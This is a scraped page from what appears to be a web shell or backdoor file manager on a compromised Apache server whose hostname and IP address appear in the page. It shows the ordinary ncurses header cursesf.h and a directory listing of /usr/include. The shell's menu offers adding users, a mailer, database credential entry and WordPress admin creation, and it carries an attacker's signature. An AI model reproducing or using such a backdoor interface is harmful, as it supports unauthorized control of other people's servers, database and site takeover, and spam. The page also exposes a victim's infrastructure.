System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
cursesf.h
// * This makes emacs happy -*-Mode: C++;-*- /**************************************************************************** * Copyright (c) 1998-2012,2014 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Juergen Pfeifer, 1997 * ****************************************************************************/ // $Id: cursesf.h,v 1.32 2014/08/09 22:06:11 Adam.Jiang Exp $ #ifndef NCURSES_CURSESF_H_incl #define NCURSES_CURSESF_H_incl 1 #include <cursesp.h> #ifndef __EXT_QNX #include <string.h> #endif extern "C" { # include <form.h> } // // ------------------------------------------------------------------------- // The abstract base class for buitin and user defined Fieldtypes. // ------------------------------------------------------------------------- // class NCURSES_IMPEXP NCursesFormField; // forward declaration // Class to represent builtin field types as well as C++ written new // fieldtypes (see classes UserDefineFieldType... class NCURSES_IMPEXP NCursesFieldType { friend class NCursesFormField; protected: FIELDTYPE* fieldtype; inline void OnError(int err) const THROW2(NCursesException const, NCursesFormException) { if (err!=E_OK) THROW(new NCursesFormException (err)); } NCursesFieldType(FIELDTYPE *f) : fieldtype(f) { } virtual ~NCursesFieldType() {} // Set the fields f fieldtype to this one. virtual void set(NCursesFormField& f) = 0; public: NCursesFieldType() : fieldtype(STATIC_CAST(FIELDTYPE*)(0)) { } NCursesFieldType& operator=(const NCursesFieldType& rhs) { if (this != &rhs) { *this = rhs; } return *this; } NCursesFieldType(const NCursesFieldType& rhs) : fieldtype(rhs.fieldtype) { } }; // // ------------------------------------------------------------------------- // The class representing a forms field, wrapping the lowlevel FIELD struct // ------------------------------------------------------------------------- // class NCURSES_IMPEXP NCursesFormField { friend class NCursesForm; protected: FIELD *field; // lowlevel structure NCursesFieldType* ftype; // Associated field type // Error handler inline void OnError (int err) const THROW2(NCursesException const, NCursesFormException) { if (err != E_OK) THROW(new NCursesFormException (err)); } public: // Create a 'Null' field. Can be used to delimit a field list NCursesFormField() : field(STATIC_CAST(FIELD*)(0)), ftype(STATIC_CAST(NCursesFieldType*)(0)) { } // Create a new field NCursesFormField (int rows, int ncols, int first_row = 0, int first_col = 0, int offscreen_rows = 0, int additional_buffers = 0) : field(0), ftype(STATIC_CAST(NCursesFieldType*)(0)) { field = ::new_field(rows, ncols, first_row, first_col, offscreen_rows, additional_buffers); if (!field) OnError(errno); } NCursesFormField& operator=(const NCursesFormField& rhs) { if (this != &rhs) { *this = rhs; } return *this; } NCursesFormField(const NCursesFormField& rhs) : field(rhs.field), ftype(rhs.ftype) { } virtual ~NCursesFormField (); // Duplicate the field at a new position inline NCursesFormField* dup(int first_row, int first_col) { NCursesFormField* f = new NCursesFormField(); if (!f) OnError(E_SYSTEM_ERROR); else { f->ftype = ftype; f->field = ::dup_field(field,first_row,first_col); if (!f->field) OnError(errno); } return f; } // Link the field to a new location inline NCursesFormField* link(int first_row, int first_col) { NCursesFormField* f = new NCursesFormField(); if (!f) OnError(E_SYSTEM_ERROR); else { f->ftype = ftype; f->field = ::link_field(field,first_row,first_col); if (!f->field) OnError(errno); } return f; } // Get the lowlevel field representation inline FIELD* get_field() const { return field; } // Retrieve info about the field inline void info(int& rows, int& ncols, int& first_row, int& first_col, int& offscreen_rows, int& additional_buffers) const { OnError(::field_info(field, &rows, &ncols, &first_row, &first_col, &offscreen_rows, &additional_buffers)); } // Retrieve info about the fields dynamic properties. inline void dynamic_info(int& dynamic_rows, int& dynamic_cols, int& max_growth) const { OnError(::dynamic_field_info(field, &dynamic_rows, &dynamic_cols, &max_growth)); } // For a dynamic field you may set the maximum growth limit. // A zero means unlimited growth. inline void set_maximum_growth(int growth = 0) { OnError(::set_max_field(field,growth)); } // Move the field to a new position inline void move(int row, int col) { OnError(::move_field(field,row,col)); } // Mark the field to start a new page inline void new_page(bool pageFlag = FALSE) { OnError(::set_new_page(field,pageFlag)); } // Retrieve whether or not the field starts a new page. inline bool is_new_page() const { return ::new_page(field); } // Set the justification for the field inline void set_justification(int just) { OnError(::set_field_just(field,just)); } // Retrieve the fields justification inline int justification() const { return ::field_just(field); } // Set the foreground attribute for the field inline void set_foreground(chtype foreground) { OnError(::set_field_fore(field,foreground)); } // Retrieve the fields foreground attribute inline chtype fore() const { return ::field_fore(field); } // Set the background attribute for the field inline void set_background(chtype background) { OnError(::set_field_back(field,background)); } // Retrieve the fields background attribute inline chtype back() const { return ::field_back(field); } // Set the padding character for the field inline void set_pad_character(int padding) { OnError(::set_field_pad(field, padding)); } // Retrieve the fields padding character inline int pad() const { return ::field_pad(field); } // Switch on the fields options inline void options_on (Field_Options opts) { OnError (::field_opts_on (field, opts)); } // Switch off the fields options inline void options_off (Field_Options opts) { OnError (::field_opts_off (field, opts)); } // Retrieve the fields options inline Field_Options options () const { return ::field_opts (field); } // Set the fields options inline void set_options (Field_Options opts) { OnError (::set_field_opts (field, opts)); } // Mark the field as changed inline void set_changed(bool changeFlag = TRUE) { OnError(::set_field_status(field,changeFlag)); } // Test whether or not the field is marked as changed inline bool changed() const { return ::field_status(field); } // Return the index of the field in the field array of a form // or -1 if the field is not associated to a form inline int (index)() const { return ::field_index(field); } // Store a value in a fields buffer. The default buffer is nr. 0 inline void set_value(const char *val, int buffer = 0) { OnError(::set_field_buffer(field,buffer,val)); } // Retrieve the value of a fields buffer. The default buffer is nr. 0 inline char* value(int buffer = 0) const { return ::field_buffer(field,buffer); } // Set the validation type of the field. inline void set_fieldtype(NCursesFieldType& f) { ftype = &f; f.set(*this); // A good friend may do that... } // Retrieve the validation type of the field. inline NCursesFieldType* fieldtype() const { return ftype; } }; // This are the built-in hook functions in this C++ binding. In C++ we use // virtual member functions (see below On_..._Init and On_..._Termination) // to provide this functionality in an object oriented manner. extern "C" { void _nc_xx_frm_init(FORM *); void _nc_xx_frm_term(FORM *); void _nc_xx_fld_init(FORM *); void _nc_xx_fld_term(FORM *); } // // ------------------------------------------------------------------------- // The class representing a form, wrapping the lowlevel FORM struct // ------------------------------------------------------------------------- // class NCURSES_IMPEXP NCursesForm : public NCursesPanel { protected: FORM* form; // the lowlevel structure private: NCursesWindow* sub; // the subwindow object bool b_sub_owner; // is this our own subwindow? bool b_framed; // has the form a border? bool b_autoDelete; // Delete fields when deleting form? NCursesFormField** my_fields; // The array of fields for this form // This structure is used for the form's user data field to link the // FORM* to the C++ object and to provide extra space for a user pointer. typedef struct { void* m_user; // the pointer for the user's data const NCursesForm* m_back; // backward pointer to C++ object const FORM* m_owner; } UserHook; // Get the backward pointer to the C++ object from a FORM static inline NCursesForm* getHook(const FORM *f) { UserHook* hook = reinterpret_cast<UserHook*>(::form_userptr(f)); assert(hook != 0 && hook->m_owner==f); return const_cast<NCursesForm*>(hook->m_back); } friend void _nc_xx_frm_init(FORM *); friend void _nc_xx_frm_term(FORM *); friend void _nc_xx_fld_init(FORM *); friend void _nc_xx_fld_term(FORM *); // Calculate FIELD* array for the menu FIELD** mapFields(NCursesFormField* nfields[]); protected: // internal routines inline void set_user(void *user) { UserHook* uptr = reinterpret_cast<UserHook*>(::form_userptr (form)); assert (uptr != 0 && uptr->m_back==this && uptr->m_owner==form); uptr->m_user = user; } inline void *get_user() { UserHook* uptr = reinterpret_cast<UserHook*>(::form_userptr (form)); assert (uptr != 0 && uptr->m_back==this && uptr->m_owner==form); return uptr->m_user; } void InitForm (NCursesFormField* Fields[], bool with_frame, bool autoDeleteFields); inline void OnError (int err) const THROW2(NCursesException const, NCursesFormException) { if (err != E_OK) THROW(new NCursesFormException (err)); } // this wraps the form_driver call. virtual int driver (int c) ; // 'Internal' constructor, builds an object without association to a // field array. NCursesForm( int nlines, int ncols, int begin_y = 0, int begin_x = 0) : NCursesPanel(nlines, ncols, begin_y, begin_x), form (STATIC_CAST(FORM*)(0)), sub(0), b_sub_owner(0), b_framed(0), b_autoDelete(0), my_fields(0) { } public: // Create form for the default panel. NCursesForm (NCursesFormField* Fields[], bool with_frame=FALSE, // reserve space for a frame? bool autoDelete_Fields=FALSE) // do automatic cleanup? : NCursesPanel(), form(0), sub(0), b_sub_owner(0), b_framed(0), b_autoDelete(0), my_fields(0) { InitForm(Fields, with_frame, autoDelete_Fields); } // Create a form in a panel with the given position and size. NCursesForm (NCursesFormField* Fields[], int nlines, int ncols, int begin_y, int begin_x, bool with_frame=FALSE, // reserve space for a frame? bool autoDelete_Fields=FALSE) // do automatic cleanup? : NCursesPanel(nlines, ncols, begin_y, begin_x), form(0), sub(0), b_sub_owner(0), b_framed(0), b_autoDelete(0), my_fields(0) { InitForm(Fields, with_frame, autoDelete_Fields); } NCursesForm& operator=(const NCursesForm& rhs) { if (this != &rhs) { *this = rhs; NCursesPanel::operator=(rhs); } return *this; } NCursesForm(const NCursesForm& rhs) : NCursesPanel(rhs), form(rhs.form), sub(rhs.sub), b_sub_owner(rhs.b_sub_owner), b_framed(rhs.b_framed), b_autoDelete(rhs.b_autoDelete), my_fields(rhs.my_fields) { } virtual ~NCursesForm(); // Set the default attributes for the form virtual void setDefaultAttributes(); // Retrieve current field of the form. inline NCursesFormField* current_field() const { return my_fields[::field_index(::current_field(form))]; } // Set the forms subwindow void setSubWindow(NCursesWindow& sub); // Set these fields for the form inline void setFields(NCursesFormField* Fields[]) { OnError(::set_form_fields(form,mapFields(Fields))); } // Remove the form from the screen inline void unpost (void) { OnError (::unpost_form (form)); } // Post the form to the screen if flag is true, unpost it otherwise inline void post(bool flag = TRUE) { OnError (flag ? ::post_form(form) : ::unpost_form (form)); } // Decorations inline void frame(const char *title=NULL, const char* btitle=NULL) { if (b_framed) NCursesPanel::frame(title,btitle); else OnError(E_SYSTEM_ERROR); } inline void boldframe(const char *title=NULL, const char* btitle=NULL) { if (b_framed) NCursesPanel::boldframe(title,btitle); else OnError(E_SYSTEM_ERROR); } inline void label(const char *topLabel, const char *bottomLabel) { if (b_framed) NCursesPanel::label(topLabel,bottomLabel); else OnError(E_SYSTEM_ERROR); } // ----- // Hooks // ----- // Called after the form gets repositioned in its window. // This is especially true if the form is posted. virtual void On_Form_Init(); // Called before the form gets repositioned in its window. // This is especially true if the form is unposted. virtual void On_Form_Termination(); // Called after the field became the current field virtual void On_Field_Init(NCursesFormField& field); // Called before this field is left as current field. virtual void On_Field_Termination(NCursesFormField& field); // Calculate required window size for the form. void scale(int& rows, int& ncols) const { OnError(::scale_form(form,&rows,&ncols)); } // Retrieve number of fields in the form. int count() const { return ::field_count(form); } // Make the page the current page of the form. void set_page(int pageNum) { OnError(::set_form_page(form, pageNum)); } // Retrieve current page number int page() const { return ::form_page(form); } // Switch on the forms options inline void options_on (Form_Options opts) { OnError (::form_opts_on (form, opts)); } // Switch off the forms options inline void options_off (Form_Options opts) { OnError (::form_opts_off (form, opts)); } // Retrieve the forms options inline Form_Options options () const { return ::form_opts (form); } // Set the forms options inline void set_options (Form_Options opts) { OnError (::set_form_opts (form, opts)); } // Are there more data in the current field after the data shown inline bool data_ahead() const { return ::data_ahead(form); } // Are there more data in the current field before the data shown inline bool data_behind() const { return ::data_behind(form); } // Position the cursor to the current field inline void position_cursor () { OnError (::pos_form_cursor (form)); } // Set the current field inline void set_current(NCursesFormField& F) { OnError (::set_current_field(form, F.field)); } // Provide a default key virtualization. Translate the keyboard // code c into a form request code. // The default implementation provides a hopefully straightforward // mapping for the most common keystrokes and form requests. virtual int virtualize(int c); // Operators inline NCursesFormField* operator[](int i) const { if ( (i < 0) || (i >= ::field_count (form)) ) OnError (E_BAD_ARGUMENT); return my_fields[i]; } // Perform the menu's operation // Return the field where you left the form. virtual NCursesFormField* operator()(void); // Exception handlers. The default is a Beep. virtual void On_Request_Denied(int c) const; virtual void On_Invalid_Field(int c) const; virtual void On_Unknown_Command(int c) const; }; // // ------------------------------------------------------------------------- // This is the typical C++ typesafe way to allow to attach // user data to a field of a form. Its assumed that the user // data belongs to some class T. Use T as template argument // to create a UserField. // ------------------------------------------------------------------------- template<class T> class NCURSES_IMPEXP NCursesUserField : public NCursesFormField { public: NCursesUserField (int rows, int ncols, int first_row = 0, int first_col = 0, const T* p_UserData = STATIC_CAST(T*)(0), int offscreen_rows = 0, int additional_buffers = 0) : NCursesFormField (rows, ncols, first_row, first_col, offscreen_rows, additional_buffers) { if (field) OnError(::set_field_userptr(field, STATIC_CAST(void *)(p_UserData))); } virtual ~NCursesUserField() {}; inline const T* UserData (void) const { return reinterpret_cast<const T*>(::field_userptr (field)); } inline virtual void setUserData(const T* p_UserData) { if (field) OnError (::set_field_userptr (field, STATIC_CAST(void *)(p_UserData))); } }; // // ------------------------------------------------------------------------- // The same mechanism is used to attach user data to a form // ------------------------------------------------------------------------- // template<class T> class NCURSES_IMPEXP NCursesUserForm : public NCursesForm { protected: // 'Internal' constructor, builds an object without association to a // field array. NCursesUserForm( int nlines, int ncols, int begin_y = 0, int begin_x = 0, const T* p_UserData = STATIC_CAST(T*)(0)) : NCursesForm(nlines,ncols,begin_y,begin_x) { if (form) set_user (const_cast<void *>(reinterpret_cast<const void*> (p_UserData))); } public: NCursesUserForm (NCursesFormField* Fields[], const T* p_UserData = STATIC_CAST(T*)(0), bool with_frame=FALSE, bool autoDelete_Fields=FALSE) : NCursesForm (Fields, with_frame, autoDelete_Fields) { if (form) set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData))); }; NCursesUserForm (NCursesFormField* Fields[], int nlines, int ncols, int begin_y = 0, int begin_x = 0, const T* p_UserData = STATIC_CAST(T*)(0), bool with_frame=FALSE, bool autoDelete_Fields=FALSE) : NCursesForm (Fields, nlines, ncols, begin_y, begin_x, with_frame, autoDelete_Fields) { if (form) set_user (const_cast<void *>(reinterpret_cast<const void*> (p_UserData))); }; virtual ~NCursesUserForm() { }; inline T* UserData (void) { return reinterpret_cast<T*>(get_user ()); }; inline virtual void setUserData (const T* p_UserData) { if (form) set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData))); } }; // // ------------------------------------------------------------------------- // Builtin Fieldtypes // ------------------------------------------------------------------------- // class NCURSES_IMPEXP Alpha_Field : public NCursesFieldType { private: int min_field_width; void set(NCursesFormField& f) { OnError(::set_field_type(f.get_field(),fieldtype,min_field_width)); } public: Alpha_Field(int width) : NCursesFieldType(TYPE_ALPHA), min_field_width(width) { } }; class NCURSES_IMPEXP Alphanumeric_Field : public NCursesFieldType { private: int min_field_width; void set(NCursesFormField& f) { OnError(::set_field_type(f.get_field(),fieldtype,min_field_width)); } public: Alphanumeric_Field(int width) : NCursesFieldType(TYPE_ALNUM), min_field_width(width) { } }; class NCURSES_IMPEXP Integer_Field : public NCursesFieldType { private: int precision; long lower_limit, upper_limit; void set(NCursesFormField& f) { OnError(::set_field_type(f.get_field(),fieldtype, precision,lower_limit,upper_limit)); } public: Integer_Field(int prec, long low=0L, long high=0L) : NCursesFieldType(TYPE_INTEGER), precision(prec), lower_limit(low), upper_limit(high) { } }; class NCURSES_IMPEXP Numeric_Field : public NCursesFieldType { private: int precision; double lower_limit, upper_limit; void set(NCursesFormField& f) { OnError(::set_field_type(f.get_field(),fieldtype, precision,lower_limit,upper_limit)); } public: Numeric_Field(int prec, double low=0.0, double high=0.0) : NCursesFieldType(TYPE_NUMERIC), precision(prec), lower_limit(low), upper_limit(high) { } }; class NCURSES_IMPEXP Regular_Expression_Field : public NCursesFieldType { private: char* regex; void set(NCursesFormField& f) { OnError(::set_field_type(f.get_field(),fieldtype,regex)); } void copy_regex(const char *source) { regex = new char[1 + ::strlen(source)]; (::strcpy)(regex, source); } public: Regular_Expression_Field(const char *expr) : NCursesFieldType(TYPE_REGEXP), regex(NULL) { copy_regex(expr); } Regular_Expression_Field& operator=(const Regular_Expression_Field& rhs) { if (this != &rhs) { *this = rhs; copy_regex(rhs.regex); NCursesFieldType::operator=(rhs); } return *this; } Regular_Expression_Field(const Regular_Expression_Field& rhs) : NCursesFieldType(rhs), regex(NULL) { copy_regex(rhs.regex); } ~Regular_Expression_Field() { delete[] regex; } }; class NCURSES_IMPEXP Enumeration_Field : public NCursesFieldType { private: const char** list; int case_sensitive; int non_unique_matches; void set(NCursesFormField& f) { OnError(::set_field_type(f.get_field(),fieldtype, list,case_sensitive,non_unique_matches)); } public: Enumeration_Field(const char* enums[], bool case_sens=FALSE, bool non_unique=FALSE) : NCursesFieldType(TYPE_ENUM), list(enums), case_sensitive(case_sens ? -1 : 0), non_unique_matches(non_unique ? -1 : 0) { } Enumeration_Field& operator=(const Enumeration_Field& rhs) { if (this != &rhs) { *this = rhs; NCursesFieldType::operator=(rhs); } return *this; } Enumeration_Field(const Enumeration_Field& rhs) : NCursesFieldType(rhs), list(rhs.list), case_sensitive(rhs.case_sensitive), non_unique_matches(rhs.non_unique_matches) { } }; class NCURSES_IMPEXP IPV4_Address_Field : public NCursesFieldType { private: void set(NCursesFormField& f) { OnError(::set_field_type(f.get_field(),fieldtype)); } public: IPV4_Address_Field() : NCursesFieldType(TYPE_IPV4) { } }; extern "C" { bool _nc_xx_fld_fcheck(FIELD *, const void*); bool _nc_xx_fld_ccheck(int c, const void *); void* _nc_xx_fld_makearg(va_list*); } // // ------------------------------------------------------------------------- // Abstract base class for User-Defined Fieldtypes // ------------------------------------------------------------------------- // class NCURSES_IMPEXP UserDefinedFieldType : public NCursesFieldType { friend class UDF_Init; // Internal helper to set up statics private: // For all C++ defined fieldtypes we need only one generic lowlevel // FIELDTYPE* element. static FIELDTYPE* generic_fieldtype; protected: // This are the functions required by the low level libforms functions // to construct a fieldtype. friend bool _nc_xx_fld_fcheck(FIELD *, const void*); friend bool _nc_xx_fld_ccheck(int c, const void *); friend void* _nc_xx_fld_makearg(va_list*); void set(NCursesFormField& f) { OnError(::set_field_type(f.get_field(),fieldtype,&f)); } protected: // Redefine this function to do a field validation. The argument // is a reference to the field you should validate. virtual bool field_check(NCursesFormField& f) = 0; // Redefine this function to do a character validation. The argument // is the character to be validated. virtual bool char_check (int c) = 0; public: UserDefinedFieldType() : NCursesFieldType(generic_fieldtype) { } }; extern "C" { bool _nc_xx_next_choice(FIELD*, const void *); bool _nc_xx_prev_choice(FIELD*, const void *); } // // ------------------------------------------------------------------------- // Abstract base class for User-Defined Fieldtypes with Choice functions // ------------------------------------------------------------------------- // class NCURSES_IMPEXP UserDefinedFieldType_With_Choice : public UserDefinedFieldType { friend class UDF_Init; // Internal helper to set up statics private: // For all C++ defined fieldtypes with choice functions we need only one // generic lowlevel FIELDTYPE* element. static FIELDTYPE* generic_fieldtype_with_choice; // This are the functions required by the low level libforms functions // to construct a fieldtype with choice functions. friend bool _nc_xx_next_choice(FIELD*, const void *); friend bool _nc_xx_prev_choice(FIELD*, const void *); protected: // Redefine this function to do the retrieval of the next choice value. // The argument is a reference to the field tobe examined. virtual bool next (NCursesFormField& f) = 0; // Redefine this function to do the retrieval of the previous choice value. // The argument is a reference to the field tobe examined. virtual bool previous(NCursesFormField& f) = 0; public: UserDefinedFieldType_With_Choice() { fieldtype = generic_fieldtype_with_choice; } }; #endif /* NCURSES_CURSESF_H_incl */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
..
DIR
-
drwxr-xr-x
2025-06-28 07:14:01
GL
DIR
-
drwxr-xr-x
2024-03-13 04:59:05
ImageMagick-6
DIR
-
drwxr-xr-x
2025-04-01 01:15:54
X11
DIR
-
drwxr-xr-x
2024-09-25 10:58:45
arpa
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
asm
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
asm-generic
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
bind9
DIR
-
drwxr-xr-x
2025-02-21 10:57:16
bits
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
c++
DIR
-
drwxr-xr-x
2025-08-26 09:44:51
drm
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
e2p
DIR
-
drwxr-xr-x
2025-10-09 10:58:24
et
DIR
-
drwxr-xr-x
2025-10-09 10:58:21
event2
DIR
-
drwxr-xr-x
2025-02-24 10:59:17
ext2fs
DIR
-
drwxr-xr-x
2025-10-09 10:58:24
finclude
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
fontconfig
DIR
-
drwxr-xr-x
2024-03-13 05:00:10
freetype2
DIR
-
drwxr-xr-x
2025-04-01 10:57:43
fstrm
DIR
-
drwxr-xr-x
2024-03-13 04:59:50
gdbm
DIR
-
drwxr-xr-x
2024-03-13 05:00:43
gnu
DIR
-
drwxr-xr-x
2025-08-07 11:01:05
google
DIR
-
drwxr-xr-x
2024-03-13 04:59:15
gssapi
DIR
-
drwxr-xr-x
2025-06-03 10:58:51
gssrpc
DIR
-
drwxr-xr-x
2025-06-03 10:58:51
json-c
DIR
-
drwxr-xr-x
2024-03-13 04:59:45
kadm5
DIR
-
drwxr-xr-x
2025-06-03 10:58:51
krb5
DIR
-
drwxr-xr-x
2025-06-03 10:58:51
libexslt
DIR
-
drwxr-xr-x
2025-08-28 10:58:31
libltdl
DIR
-
drwxr-xr-x
2024-03-13 05:00:36
libpng16
DIR
-
drwxr-xr-x
2024-03-13 04:59:02
libpq
DIR
-
drwxr-xr-x
2025-02-25 10:57:30
libxml2
DIR
-
drwxr-xr-x
2025-08-06 01:59:33
libxslt
DIR
-
drwxr-xr-x
2025-08-28 10:58:31
linux
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
lzma
DIR
-
drwxr-xr-x
2024-03-13 04:59:51
misc
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
mtd
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
mysql
DIR
-
drwxr-xr-x
2025-08-07 11:01:51
ncurses
DIR
-
drwxr-xr-x
2024-03-13 05:00:28
ncursesw
DIR
-
drwxr-xr-x
2024-03-13 05:00:28
net
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netash
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netatalk
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netax25
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
neteconet
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netinet
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netipx
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netiucv
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netpacket
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netrom
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netrose
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
nfs
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
openssl
DIR
-
drwxr-xr-x
2024-10-10 10:57:14
perf
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
pgsql
DIR
-
drwxr-xr-x
2025-02-20 07:58:18
protobuf-c
DIR
-
drwxr-xr-x
2024-03-13 04:59:15
protocols
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
python2.7
DIR
-
drwxr-xr-x
2024-06-24 12:47:00
python3.6m
DIR
-
drwxr-xr-x
2025-08-28 10:58:34
rdma
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
rpc
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
scsi
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
security
DIR
-
drwxr-xr-x
2025-08-28 10:58:33
selinux
DIR
-
drwxr-xr-x
2025-03-12 10:58:31
sepol
DIR
-
drwxr-xr-x
2024-03-13 05:00:01
sound
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
sys
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
uuid
DIR
-
drwxr-xr-x
2024-06-24 12:47:44
video
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
webp
DIR
-
drwxr-xr-x
2025-06-03 10:58:50
xcb
DIR
-
drwxr-xr-x
2024-03-13 04:59:16
xen
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
FlexLexer.h
text/x-c++
6.73 KB
-rw-r--r--
2019-10-12 12:33:17
a.out.h
text/x-c
4.25 KB
-rw-r--r--
2025-08-05 02:01:07
aio.h
text/x-c
7.28 KB
-rw-r--r--
2025-08-05 02:01:26
aliases.h
text/x-c
1.98 KB
-rw-r--r--
2025-08-05 02:01:27
alloca.h
text/x-c
1.17 KB
-rw-r--r--
2025-08-05 02:01:05
ar.h
text/x-c
1.69 KB
-rw-r--r--
2025-08-05 02:01:07
argp.h
text/x-c
24.82 KB
-rw-r--r--
2025-08-05 02:01:26
argz.h
text/x-c
5.91 KB
-rw-r--r--
2025-08-05 02:01:06
assert.h
text/x-c
4.45 KB
-rw-r--r--
2025-08-05 02:01:02
autosprintf.h
text/x-c
2.33 KB
-rw-r--r--
2019-11-18 05:16:51
byteswap.h
text/x-c
1.37 KB
-rw-r--r--
2025-08-05 02:01:06
bzlib.h
text/x-c
6.1 KB
-rw-r--r--
2010-09-10 11:08:42
com_err.h
text/x-c
2.07 KB
-rw-r--r--
2020-03-21 04:24:04
complex.h
text/x-c
7 KB
-rw-r--r--
2025-08-05 02:01:04
cpio.h
text/plain
2.21 KB
-rw-r--r--
2025-08-05 02:01:07
cpuidle.h
text/x-c
844 B
-rw-r--r--
2025-10-27 03:43:11
crypt.h
text/x-c
8.9 KB
-rw-r--r--
2021-10-09 04:04:04
ctype.h
text/x-c
10.71 KB
-rw-r--r--
2025-08-05 02:01:02
curses.h
text/x-c
97.29 KB
-rw-r--r--
2023-10-14 06:54:42
cursesapp.h
text/x-c++
6.62 KB
-rw-r--r--
2023-10-14 06:54:42
cursesf.h
text/x-c++
27.2 KB
-rw-r--r--
2023-10-14 06:54:42
cursesm.h
text/x-c++
19.22 KB
-rw-r--r--
2023-10-14 06:54:42
cursesp.h
text/x-c++
8.4 KB
-rw-r--r--
2023-10-14 06:54:42
cursesw.h
text/x-c
48.55 KB
-rw-r--r--
2023-10-14 06:54:42
cursslk.h
text/x-c++
7.13 KB
-rw-r--r--
2023-10-14 06:54:42
dbm.h
text/x-c
1.38 KB
-rw-r--r--
2022-10-08 01:22:08
dirent.h
text/x-c
12.19 KB
-rw-r--r--
2025-08-05 02:01:07
dlfcn.h
text/x-c
7.07 KB
-rw-r--r--
2025-08-05 02:01:05
elf.h
text/x-c
170.73 KB
-rw-r--r--
2025-08-05 02:01:29
endian.h
text/x-c
3.11 KB
-rw-r--r--
2025-08-05 02:01:06
entities.h
text/x-c
4.81 KB
-rw-r--r--
2017-08-30 11:05:54
envz.h
text/x-c
2.8 KB
-rw-r--r--
2025-08-05 02:01:06
err.h
text/x-c
2.16 KB
-rw-r--r--
2025-08-05 02:01:07
errno.h
text/x-c
1.64 KB
-rw-r--r--
2025-08-05 02:01:05
error.h
text/x-c
1.99 KB
-rw-r--r--
2025-08-05 02:01:07
eti.h
text/plain
2.82 KB
-rw-r--r--
2023-10-14 06:54:42
etip.h
text/x-c++
9.47 KB
-rw-r--r--
2023-10-14 06:54:42
evdns.h
text/x-c
1.97 KB
-rw-r--r--
2019-10-12 12:29:31
event.h
text/x-c
2.68 KB
-rw-r--r--
2019-10-12 12:29:31
evhttp.h
text/x-c
1.99 KB
-rw-r--r--
2019-10-12 12:29:31
evrpc.h
text/x-c
1.97 KB
-rw-r--r--
2019-10-12 12:29:31
evutil.h
text/x-c
1.74 KB
-rw-r--r--
2019-10-12 12:29:31
execinfo.h
text/x-c
1.49 KB
-rw-r--r--
2025-08-05 02:01:26
expat.h
text/x-c
42.66 KB
-rw-r--r--
2025-04-15 07:58:56
expat_config.h
text/plain
3.43 KB
-rw-r--r--
2025-04-15 07:58:56
expat_external.h
text/x-c
5.4 KB
-rw-r--r--
2025-04-15 07:58:56
fcntl.h
text/x-c
10.7 KB
-rw-r--r--
2025-08-05 02:01:07
features.h
text/plain
15.69 KB
-rw-r--r--
2025-08-05 02:00:57
fenv.h
text/x-c
5.72 KB
-rw-r--r--
2025-08-05 02:01:04
fmtmsg.h
text/x-c
3.16 KB
-rw-r--r--
2025-08-05 02:01:05
fnmatch.h
text/x-c
2.24 KB
-rw-r--r--
2025-08-05 02:01:07
form.h
text/x-c
18.17 KB
-rw-r--r--
2023-10-14 06:54:42
fpu_control.h
text/x-c
3.5 KB
-rw-r--r--
2025-08-05 02:01:04
fstab.h
text/x-c
3.04 KB
